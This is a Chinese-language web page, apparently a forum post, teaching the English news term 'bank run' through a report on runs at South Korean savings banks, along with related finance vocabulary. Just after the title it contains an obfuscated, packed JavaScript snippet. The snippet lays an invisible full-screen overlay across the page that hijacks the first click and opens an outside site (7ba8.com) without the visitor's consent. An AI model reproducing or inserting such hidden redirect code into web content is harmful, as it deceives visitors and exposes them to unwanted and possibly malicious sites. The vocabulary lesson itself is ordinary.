新闻英语:“银行挤兑”怎么说

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>韩国金融委员会勒令6家经营状况不良的储蓄银行停业半年,进行整顿。这一举措让民众开始对储蓄银行产生担扰。韩国釜山市多家储蓄银行21日发生顾客“挤兑现象”。成百上千的储户当天早晨赶到银行排队取钱,银行门前秩序一度十分混乱。
  请看相关报道:
  “They have suffered a bank run” after the recent suspension of two other banks, South Korea’s Financial Services Commission(FSC) said in a statement。
  韩国金融委员会在一份声明中说:“最近由于另外两家银行被勒令停业整顿,(四家银行)都遭遇了“挤兑”。
  上面报道中的bank run就是“银行挤兑”,是指大量的银行客户因为金融危机的恐慌或者相关影响同时到银行提取现金,而银行的存款准备金不足以支付而出现的情况。银行挤兑会导致liquidity crunch(资金紧缩),使银行不能满足储户的demand for withdrawals(取款需求),最终将损害储户利益和credit order(信用秩序)。
  多家银行同时遭遇挤兑的时候,出现的财务危机就叫bank panic(银行恐慌),如果一个国家所有或几近所有的银行资本都被取完的话,就会出现更为严重的systemic banking crisis(系统性银行危机),从而引起economic recession(经济衰退)。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部